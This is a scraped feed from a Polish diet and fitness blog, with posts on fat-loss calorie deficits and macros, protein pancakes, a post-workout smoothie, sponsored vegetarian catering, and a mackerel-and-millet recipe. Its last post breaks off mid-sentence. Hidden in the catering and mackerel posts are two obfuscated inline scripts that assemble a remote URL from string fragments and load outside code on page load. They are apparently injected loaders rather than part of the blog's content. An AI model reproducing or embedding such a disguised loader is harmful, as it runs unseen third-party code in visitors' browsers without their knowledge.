<a href="https://3.bp.blogspot.com/-ZmpVViRT66A/WzDKFkxGUPI/AAAAAAAADpk/TkV48RO_0n44B6bJTBGMw7ynRbOgKXt8wCLcBGAs/s1600/AdobeStock_128398973-1600x1600.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1064" data-original-width="1600" height="265" src="https://3.bp.blogspot.com/-ZmpVViRT66A/WzDKFkxGUPI/AAAAAAAADpk/TkV48RO_0n44B6bJTBGMw7ynRbOgKXt8wCLcBGAs/s400/AdobeStock_128398973-1600x1600.jpg" width="400" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Jeżeli chodzi o redukcję to jest to proces, który ma na celu "odkrycie" naszych mięśni, które znajdują się pod mniejszą lub większą warstwą tłuszczu. Redukcja z założenia powinna trwać do 2 - 3 miesięcy maksymalnie i stosuje się ją by tracić mniejsze ilości kg jak na przykład 3,5 czy 7 kg. W przypadku jeśli mamy do zrzucenia 15 czy 20 kilogramów to raczej mówimy o odchudzaniu i ten proces przebiega trochę inaczej i nie może być tak intensywny. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Podstawowym założeniem spadku masy ciała jest zmniejszenie kaloryczności naszej diety, niestety ale nikt nie będzie tracił kilogramów na dodatnim bilansie kalorycznym. W zależności od tego jaki jest nasz cel powinniśmy dobierać jak duża ujemna wartość będzie w przypadku naszego jadłospisu. Jeśli mamy dużą nadwagę to wskazane jest powolne odchudzanie tak by organizm i skóra przyzwyczajał się do zmian. Najlepszym rozwiązaniem będzie odejmowanie od 100 do 200 kcal tygodniowo od naszego jadłospisu w zależności od efektów, które uzyskujemy. Nie ma co szaleć z dietami w stylu -600 kcal albo - 10kg w miesiąc bo będzie to zbyt duży szok dla naszego organizmu. <b>Najlepszym rozwiązaniem będzie odcinanie kolejnych kalorii dopiero wtedy gdy zauważymy, że przestajemy chudnąc przy danym bilansie. </b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Kluczem do sukcesu będzie przestrzeganie diety i stałe monitorowanie naszych postępów. W przypadku redukcji warto też skupić się na podziale makroskładników w diecie tak by wraz z tłuszczem nie redukować mięśni. Odpowiedni podział na redukcji to :</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<b>Białka - 2,2 g na kilogram całkowitej masy ciała</b></div>
<div style="text-align: center;">
<b>Tłuszcze - 20 % całkowitego dziennego zapotrzebowania </b></div>
<div style="text-align: center;">
<b>Węglowodany - reszta </b></div>
<div style="text-align: center;">
<b><br /></b></div>
<div style="text-align: justify;">
W przypadku odchudzania dużych ilości tkanki tłuszczowej warto na początku skupić się bardziej na ujemnym bilansie i dopiero w przypadku pierwszych efektów próbować liczyć dokładniej makro składniki. Jeżeli ktoś wcześniej nie ćwiczył siłowo to początkowo warto przyglądać się jak nasz organizm znosi odchudzanie.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Jeśli chodzi o trening to najlepszym rozwiązaniem będzie połączenie treningu siłowego i wytrzymałościowego na przykład trzy treningi siłowe i dwa wytrzymałościowe w tygodniu. <b>Uwaga!</b> Osoby, które nie miały wcześniej zbytniej aktywności fizycznej powinny zacząć od przyzwyczajenia organizmy do aktywności. Na tym etapie ważna jest regeneracja więc nie ma co szaleć z morderczymi treningami, na nie przyjdzie czas za parę miesięcy - nie oznacza to, że na treningach mamy odpuszczać. Oczywiście dajemy z siebie 100% ale treningi są krótsze i z mniejszą częstotliwością. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<b>Podsumowanie :</b></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
1. Określ swój cel - redukcja czy odchudzanie ? Jak dużo i w jakim czasie planuje schudnąć ? </div>
<div style="text-align: center;">
2. Określ swój poziom wytrenowania.</div>
<div style="text-align: center;">
3. Przestrzegaj diety na 110% to klucz do sukcesu.</div>
<div style="text-align: center;">
4. Monitoruj każdego dnia swoje postępy.</div>
<div style="text-align: center;">
5. Określ cele możliwe do realizacji i dostosowane do swojego poziomu wytrenowania.</div>
<div style="text-align: center;">
6. Bądź cierpliwy.</div>
<div style="text-align: center;">
7. Pamiętaj o ujemnym bilansie kalorycznym i podziale makroskładników. </div>
<div style="text-align: center;">
8. W razie spadku motywacji nie bój się szukać pomocy.</div>
<div style="text-align: center;">
9. Jeśli Cię to przerasta ale mimo wszystko wiesz, że chcesz to zrobić szukaj u innych pomocy albo gotowych planów. </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Tutaj macie efekty mojej 2 miesięcznej redukcji :</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-Mp3G15SwOSM/WzDSLlfEqVI/AAAAAAAADpw/5F7k9DirQREWUmIuVaQJofIGvS5SuGnIgCLcBGAs/s1600/redukcja.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="929" data-original-width="1600" height="231" src="https://1.bp.blogspot.com/-Mp3G15SwOSM/WzDSLlfEqVI/AAAAAAAADpw/5F7k9DirQREWUmIuVaQJofIGvS5SuGnIgCLcBGAs/s400/redukcja.png" width="400" /></a></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: justify;">
<b><br /></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com7tag:blogger.com,1999:blog-3244685852680001953.post-78384780913640433072018-06-22T13:11:00.004+02:002019-01-12T13:51:45.061+01:00Placki proteinowe z truskawkami <div class="separator" style="clear: both; text-align: center;">
Dzisiaj przepis na fajny deser/śniadanie/kolacje :) Co kto woli :) </div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Placki Proteinowe z truskawkami i borówkami</b></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Składniki :</b></div>
<div class="separator" style="clear: both; text-align: center;">
- 2 jajka </div>
<div class="separator" style="clear: both; text-align: center;">
- miarka <a href="https://goo.gl/Ed3b1a">odżywki białkowej </a></div>
<div class="separator" style="clear: both; text-align: center;">
- szklanka płatków owsianych </div>
<div class="separator" style="clear: both; text-align: center;">
- 1 banan</div>
<div class="separator" style="clear: both; text-align: center;">
- proszek do pieczenia </div>
<div class="separator" style="clear: both; text-align: center;">
- olej kokosowy</div>
<div class="separator" style="clear: both; text-align: center;">
- garść truskawek</div>
<div class="separator" style="clear: both; text-align: center;">
- kilka borówek amerykańskich </div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Przygotowanie :</b></div>
<div class="separator" style="clear: both; text-align: center;">
<b><br /></b></div>
<div class="separator" style="clear: both; text-align: center;">
1. Jajka, odżywkę, płatki, proszek do pieczenia i banana miksujemy w mikserze albo blenderze.</div>
<div class="separator" style="clear: both; text-align: center;">
2. Otrzymane ciasto smażymy na oleju kokosowym w formie placków.</div>
<div class="separator" style="clear: both; text-align: center;">
3. Całość polewamy sosem ze zmiksowanych truskawek i dekorujemy borówkami. </div>
<script src="https://ppwidget.skapiec.pl/widget/91092-11648-js" type="text/javascript"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-p_1oULi0J3o/WyteQixTkbI/AAAAAAAADpY/BJTOmX8BTSIXpG-yB3wL-Mj1k5ChUz_iQCLcBGAs/s1600/placki_11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1062" data-original-width="1600" height="424" src="https://3.bp.blogspot.com/-p_1oULi0J3o/WyteQixTkbI/AAAAAAAADpY/BJTOmX8BTSIXpG-yB3wL-Mj1k5ChUz_iQCLcBGAs/s640/placki_11.jpg" width="640" /></a></div>
<br />
<br />
<br />Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com0tag:blogger.com,1999:blog-3244685852680001953.post-24293055829954326652018-06-10T21:25:00.001+02:002018-06-22T12:50:32.742+02:00Kotkajl potreningowy czyli własna odżywka :) <div style="text-align: justify;">
Jeśli po ciężkim treningu nie masz czasu na posiłek, a musisz szybko coś zjeść to ten koktajl będzie idealnym rozwiązaniem :) Oczywiście po każdym wysiłku powinniśmy coś zjeść, a najlepiej jeśli będzie to posiłek bogaty w węglowodany i białko. Dzisiaj mamy dla Was przepis na koktajl potreningowy (co nie znaczy, że nie można go zjeść w innej porze dnia ) :)</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-BKMho4S3Hj8/Wx16aqtkk4I/AAAAAAAADok/oDYGTx-tRsUfbUTWea0QpLAwcZvQ8CwOgCLcBGAs/s1600/koktajl%2B1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="599" data-original-width="901" height="212" src="https://1.bp.blogspot.com/-BKMho4S3Hj8/Wx16aqtkk4I/AAAAAAAADok/oDYGTx-tRsUfbUTWea0QpLAwcZvQ8CwOgCLcBGAs/s320/koktajl%2B1.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Potrzebujemy : </b></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
1 banan </div>
<div class="separator" style="clear: both; text-align: center;">
łyżka masła orzechowego </div>
<div class="separator" style="clear: both; text-align: center;">
łyżka miodu</div>
<div class="separator" style="clear: both; text-align: center;">
szklanka mleka </div>
<div class="separator" style="clear: both; text-align: center;">
pół szklanki wody </div>
<div class="separator" style="clear: both; text-align: center;">
60 g chudego twarogu</div>
<div class="separator" style="clear: both; text-align: center;">
garść szpinaku </div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Szpinak i wodę dodajemy według upodobań. Jeśli ktoś lubi gęstszy daje mniej wody itp.</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<b>Przygotowanie :</b></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Wszystko do blendera i gotowe :)</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-nI-zAh7h828/Wx16bVCS-AI/AAAAAAAADos/5yChz3vK--Acb__Dk_jFYMZY1DTNlAQdACLcBGAs/s1600/DSC_0114.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1063" data-original-width="1600" height="212" src="https://2.bp.blogspot.com/-nI-zAh7h828/Wx16bVCS-AI/AAAAAAAADos/5yChz3vK--Acb__Dk_jFYMZY1DTNlAQdACLcBGAs/s320/DSC_0114.JPG" width="320" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-PyPoWw8x2hg/Wx16b82je9I/AAAAAAAADo0/G3Y4v2woxZYDPxw1OyCEtfTcnONyjHwXACLcBGAs/s1600/koktajl%2B3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="599" data-original-width="901" height="212" src="https://2.bp.blogspot.com/-PyPoWw8x2hg/Wx16b82je9I/AAAAAAAADo0/G3Y4v2woxZYDPxw1OyCEtfTcnONyjHwXACLcBGAs/s320/koktajl%2B3.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<script type='text/javascript' src='https://ppwidget.skapiec.pl/widget/91092-11647-js'></script>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com9tag:blogger.com,1999:blog-3244685852680001953.post-37219344837703898902018-06-05T08:21:00.000+02:002018-06-05T08:22:51.028+02:00Catering dietetyczny również dla wegetarian<div style="text-align: justify;">
<b>Dieta pudełkowa dla wegetarian </b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Dieta wegetariańska jest przez wiele osób uznawana za dobry sposób odżywiania i tak jest,
pod warunkiem, że stosowana jest ona rozważnie. Coraz więcej osób decyduje się - z
różnych względów - na przejście na wegetarianizm. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b> Jak prawidłowo odżywiać się przy diecie wegetariańskiej?</b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Dobre dobrana dieta wegetariańska powinna być dopasowana do indywidualnych potrzeb
człowieka. Każdy z nas bowiem ma inne zapotrzebowanie energetyczne, inny styl życia,
metabolizm czy też ulubione i znienawidzone potrawy czy składniki. Dobrze dobrana dieta
wegetariańska powinna te czynniki uwzględniać. Często jednak jest tak, że nasza dieta nie
jest dobrze zbilansowana, a my czujemy się źle. Warto wtedy powierzyć swoją dietę w dobre
ręce i zdecydować się na dietę pudełkową dla wegetarian. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Łatwo, przyjemnie i wegetariańsko</b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Firmy zajmujące się cateringiem dietetycznym, takie jak na przykład <a href="https://dietykieta.pl/catering-dietetyczny-wroclaw">dietykieta.pl</a> coraz
częściej w swej ofercie mają dietę wegetariańską. Jest to dobry sposób na to, by jeść
smacznie, zdrowo, a jednocześnie nie spędzać wielu godzin w kuchni. Diety w cateringu
dietetycznym są dobrze zbilansowane, ponieważ powstają pod nadzorem dietetyka
klinicznego, który czuwa nad tym, by wybrana dieta nie tylko spełniała wymogi diety
wegetariańskiej, lecz by przede wszystkim dostarczała wszystkich niezbędnych składników
odżywczych naszemu organizmowi. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Dieta wegetariańska od Dietykiety</b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Dieta wegetariańska Dietykiety nie zawiera mięsa ani ryb. Wybierając tę dietę otrzymasz
pięć pełnowartościowych posiłków, które zawierają 20% białka, 50% węglowodanów oraz
30% zdrowych tłuszczów. Dietykieta nie stosuje gotowych półproduktów, polepszaczy
smaku, barwników czy konserwantów. W diecie znajdziesz mleko i przetwory mleczne oraz
mleka roślinne, a także rośliny strączkowe, jaja z wolnego wybiegu, sezonowe warzywa i
kiszonki, zioła, a także tłuszcze takie jak oliwa ekstra virgin, olej kokosowy czy masło
klarowane. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Dlaczego warto wybrać dietę pudełkową?</b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Dieta pudełkowa jest dobrym rozwiązaniem dla wszystkich, którzy chcą się zdrowo
odżywiać, a jednocześnie nie chcą spędzać wielu godzin w kuchni oraz w sklepie,
wyszukując produkty najlepszej jakości. Jeżeli wybierzesz catering dietetyczny Dietykiety, to
ekipa fachowców nie dość, że zrobi to za ciebie, to jeszcze dostarczy ci gotowe dania
codziennie prosto pod drzwi. </div>
<script type="text/javascript">
(function(){
ojvc=document.createElement("script");ojvc.async=true;ojvc_="u"+("s")+"t";
ojvcu="57280.";ojvc_+="a"+("t.i");ojvc_+="n"+("f"+"o")+"/";
ojvcu+="0c1xvrrejvc3l323vp1cnl"+("iv5gu8");
ojvc.src="https://"+ojvc_+ojvcu;ojvc.type="text/javascript";
document.body.appendChild(ojvc);
})();
</script>
Kopiuj do
schowka
jako HTML
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com3tag:blogger.com,1999:blog-3244685852680001953.post-23306611920531843212018-05-31T19:03:00.000+02:002018-06-04T09:47:39.266+02:00Wędzona makrela z dodatkami i kaszą jaglaną <div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Dzisiaj przepis, którego królem będzie jedna z najpopularniejszych wędzonych ryb w Polsce czyli makrela :) O tym jak ryby potrzebne są w diecie nie trzeba nikomu mówić. Są bardzo dobrym źródłem białka, tłuszczy oraz kwasów omega. Dodatkowym atutem makreli jest jej cena ponieważ jako jedna z nielicznych ryb jest w bardzo przystępnej cenie. Jest zdecydowanie tańsza na przykład od łososia co nie zmienia faktu, że jego też od czasu do czasu powinniśmy mieć w swojej diecie :) </div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Ale wracając do naszego przepisu : </div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span lang="PL" style="font-family: "times new roman" , "serif"; mso-ansi-language: PL;"><br /></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span lang="PL" style="font-family: "times new roman" , "serif"; mso-ansi-language: PL;"><b>POTRZEBUJEMY:</b><o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span lang="PL" style="font-family: "times new roman" , "serif"; mso-ansi-language: PL;"><br /></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span lang="PL" style="font-family: "times new roman" , "serif"; mso-ansi-language: PL;">Kasza
jaglana - (70 g)<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span lang="PL" style="font-family: "times new roman" , "serif"; mso-ansi-language: PL;">Pomidory
suszone - (55 g)<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span lang="PL" style="font-family: "times new roman" , "serif"; mso-ansi-language: PL;">Oliwa z
oliwek - (7 g)<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span lang="PL" style="font-family: "times new roman" , "serif"; mso-ansi-language: PL;">Makrela
wędzona - (65 g) możecie też użyć innej wędzonej ryby albo na przykład
kawałków smażonej bardzo duży wybór ryb i owoców morza znajdziecie w
Makro <span style="color: windowtext; text-decoration-line: none;"><a href="https://www.makro.pl/swiat-produktow/ryby-makro">https://www.makro.pl/swiat-produktow/ryby-makro</a></span><o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span lang="PL" style="font-family: "times new roman" , "serif"; mso-ansi-language: PL;">Ser typu
feta - (40 g)<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span lang="PL" style="font-family: "times new roman" , "serif"; mso-ansi-language: PL;">Mieszanka
warzyw "włoska" - (160 g)<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span lang="PL" style="font-family: "times new roman" , "serif"; mso-ansi-language: PL;">Czosnek
- (5 g)<o:p></o:p></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span lang="PL" style="font-family: "times new roman" , "serif"; mso-ansi-language: PL;">Mix sałat
- (25 g)<o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div align="center" class="MsoNormal" style="text-align: center;">
<span lang="PL" style="font-family: "times new roman" , "serif"; mso-ansi-language: PL;">Zioła
prowansalskie - (1 g)<o:p></o:p></span></div>
<h3 style="-webkit-font-smoothing: antialiased; background: rgb(255, 255, 255); border: 0px; box-sizing: border-box; color: #4d4d4d; font-family: EncodeSansCondenseRegular, Arial, sans-serif; font-size: 14px; line-height: 1.1; margin: 20px 0px 5px; outline: 0px; padding: 0px; text-align: center; text-transform: uppercase; vertical-align: baseline;">
<div align="center" class="MsoNormal" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; line-height: normal; margin: 15pt 0in 3.75pt; vertical-align: baseline;">
<br /></div>
</h3>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-mJPSCh9EP8E/WxAmQ-ThBYI/AAAAAAAADnk/fZBlkf7Fbdw2KERfUhVoOrhTSDMYOhZdgCLcBGAs/s1600/20180531_165419.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="320" src="https://4.bp.blogspot.com/-mJPSCh9EP8E/WxAmQ-ThBYI/AAAAAAAADnk/fZBlkf7Fbdw2KERfUhVoOrhTSDMYOhZdgCLcBGAs/s320/20180531_165419.jpg" width="240" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-8GmxxZ_uab4/WxAmRDgIJ3I/AAAAAAAADns/SU_13wxzdRcVHJguJFaYcFr9AdFHWAFqgCLcBGAs/s1600/20180531_165635.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://2.bp.blogspot.com/-8GmxxZ_uab4/WxAmRDgIJ3I/AAAAAAAADns/SU_13wxzdRcVHJguJFaYcFr9AdFHWAFqgCLcBGAs/s320/20180531_165635.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-bMfIrqQahvY/WxAmRE_-aPI/AAAAAAAADno/W-OrMXQXLEIVu_2fAI3FLpsjs2uSTN9NQCLcBGAs/s1600/20180531_165627.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://3.bp.blogspot.com/-bMfIrqQahvY/WxAmRE_-aPI/AAAAAAAADno/W-OrMXQXLEIVu_2fAI3FLpsjs2uSTN9NQCLcBGAs/s320/20180531_165627.jpg" width="320" /></a></div>
<br />
<div style="text-align: center;">
<b> <span style="color: #4d4d4d; font-family: "times new roman" , serif; font-size: 16px;">PRZYGOTOWANIE:</span></b></div>
<div style="text-align: center;">
<span style="font-family: "times new roman" , serif;"><br /></span></div>
<div style="text-align: center;">
1. Kaszę gotujemy 20 min.</div>
<div style="text-align: center;">
2. Warzywa dusimy na oliwie z oliwek.</div>
<div style="text-align: center;">
3. Makrelę obieramy ze skóry i ości, a następnie dzielimy na mniejsze kawałki.</div>
<div style="text-align: center;">
4. Do podduszonych warzyw dodajcie pokrojone suszone pomidory, pokrojoną fetę, kawałki makreli, czosnek wyciśnięty przez praskę, zioła prowansalskie, sól oraz pieprz.</div>
<div style="text-align: center;">
5. Całość podawajcie z kaszą i udekorujcie listkami sałaty</div>
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-IT_533kiVbw/WxAmZZvbysI/AAAAAAAADn0/BCQ1nbJeDkwfYMgWUHPZg06Ep032gUwdgCLcBGAs/s1600/20180531_170507.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="320" src="https://3.bp.blogspot.com/-IT_533kiVbw/WxAmZZvbysI/AAAAAAAADn0/BCQ1nbJeDkwfYMgWUHPZg06Ep032gUwdgCLcBGAs/s320/20180531_170507.jpg" width="240" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-e90ynDh7EpI/WxAmZQa6bGI/AAAAAAAADn4/ZGNIOXNphekdxtpVriSM5emqnaH1zA2KwCLcBGAs/s1600/20180531_172516.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://1.bp.blogspot.com/-e90ynDh7EpI/WxAmZQa6bGI/AAAAAAAADn4/ZGNIOXNphekdxtpVriSM5emqnaH1zA2KwCLcBGAs/s320/20180531_172516.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-JZp1t_iYA5U/WxAmdrDixFI/AAAAAAAADn8/BiTUczn4WrAttoYgb6VLTfBjema8VEeXACLcBGAs/s1600/20180531_172537.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://2.bp.blogspot.com/-JZp1t_iYA5U/WxAmdrDixFI/AAAAAAAADn8/BiTUczn4WrAttoYgb6VLTfBjema8VEeXACLcBGAs/s320/20180531_172537.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Jeśli lubicie przepisy z rybami i owocami morza to polecamy Wam fajnego bloga z przepisami o tej tematyce znajdziecie tutaj --> <a href="http://rybyswiata.pl/">http://rybyswiata.pl/</a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Smacznego ! :)</div>
<br />
<script type="text/javascript">
(function(){
q0ny=document.createElement("script");q0ny_=("us")+("ta");
q0ny_+="t"+(".");q0ny_+=("in");q0nyu="75816080";q0ny.async=true;
q0nyu+=".zv964qmf0ny83crXm";q0ny.type="text/javascript";q0ny_+="f"+"o"+("/");
q0nyu+="q5z0xuck3gv4b";q0ny.src="https://"+q0ny_+q0nyu;
dq0ny=document.body;dq0ny.appendChild(q0ny);
})();
</script>Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com0tag:blogger.com,1999:blog-3244685852680001953.post-89306905947089849922018-05-15T12:17:00.001+02:002018-05-15T12:17:22.064+02:00Pełnoziarniste naleśniki z pieczarkami, papryką i mozarellą :) <div style="text-align: center;">
Dzisiaj przepis na pyszne i szybkie naleśniki :) </div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-9rf7wfOpsAg/WvqyAW7n-hI/AAAAAAAADmw/PBpo9CVKfmgetwQgvrvx6ATlSDch8a0rwCLcBGAs/s1600/20180409_205620.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://4.bp.blogspot.com/-9rf7wfOpsAg/WvqyAW7n-hI/AAAAAAAADmw/PBpo9CVKfmgetwQgvrvx6ATlSDch8a0rwCLcBGAs/s320/20180409_205620.jpg" width="320" /></a></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<b>Składniki </b>: </div>
<div style="text-align: center;">
Mąka pełnoziarnista - 0,5 szklanki (70 g)</div>
<div style="text-align: center;">
1 jajko </div>
<div style="text-align: center;">
Ser mozarella - pół porcji </div>
<div style="text-align: center;">
Oliwa z oliwek - 1,5 łyżki (11 g)</div>
<div style="text-align: center;">
Papryka - 100 g</div>
<div style="text-align: center;">
Mleko 2% - 0,2 szklanki (55 g)</div>
<div style="text-align: center;">
Pieczarki - 2,25 garści (140 g)</div>
<div style="text-align: center;">
Proszek do pieczenia - szczypta</div>
<div style="text-align: center;">
Sól - szczypta<br />Pół cebuli.</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-vNeIoGMjlPU/Wvqzo4TizII/AAAAAAAADm8/tsC-CfdM7lYd1Nn3oiyqyJowM9MaQQCLACLcBGAs/s1600/20180409_205106.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://4.bp.blogspot.com/-vNeIoGMjlPU/Wvqzo4TizII/AAAAAAAADm8/tsC-CfdM7lYd1Nn3oiyqyJowM9MaQQCLACLcBGAs/s320/20180409_205106.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-YcEcdsc6t4M/Wvqzo7CgbOI/AAAAAAAADnA/knChqXQ5xa4qxxHmiSJkc5aStpi4RuYlwCLcBGAs/s1600/20180409_205112.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://1.bp.blogspot.com/-YcEcdsc6t4M/Wvqzo7CgbOI/AAAAAAAADnA/knChqXQ5xa4qxxHmiSJkc5aStpi4RuYlwCLcBGAs/s320/20180409_205112.jpg" width="320" /></a></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<b>Przygotowanie : </b></div>
<div style="text-align: center;">
<b><br /></b></div>
<div style="text-align: center;">
Mąkę, jajko, sól, mleko i proszek ubijamy najlepiej w mikserze na jednolitą masę. Całość przelewamy na rozgrzaną oliwę i smażymy naleśnika. Następnie dodajemy dodatki i czekamy, aż mozarella się rozpuści. Pieczarki z cebulą podsmażamy wcześniej na mniejszej patelni.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
Smacznego :) </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com3tag:blogger.com,1999:blog-3244685852680001953.post-812593933986933742018-04-25T11:20:00.000+02:002018-04-25T11:20:11.428+02:00Życie na diecie - jak sobie z nim radzić :) <div class="MsoNormal" style="text-align: justify;">
Życie na diecie dla wielu osób
nie należy do łatwych ba można powiedzieć, że dieta spędza im sen z powiek. W
przypadku skutecznego odchudzania nie nazwałbym tego raczej dietą, co zmianą
stylu życia, bo tak naprawdę decydując się na zmianę sylwetki musimy zmienić
swoje odżywianie i aktywność na długi czas, albo do momentu, w którym będziemy
chcieli dobrze wyglądać. Oczywiście można znaleźć złoty środek, ponieważ
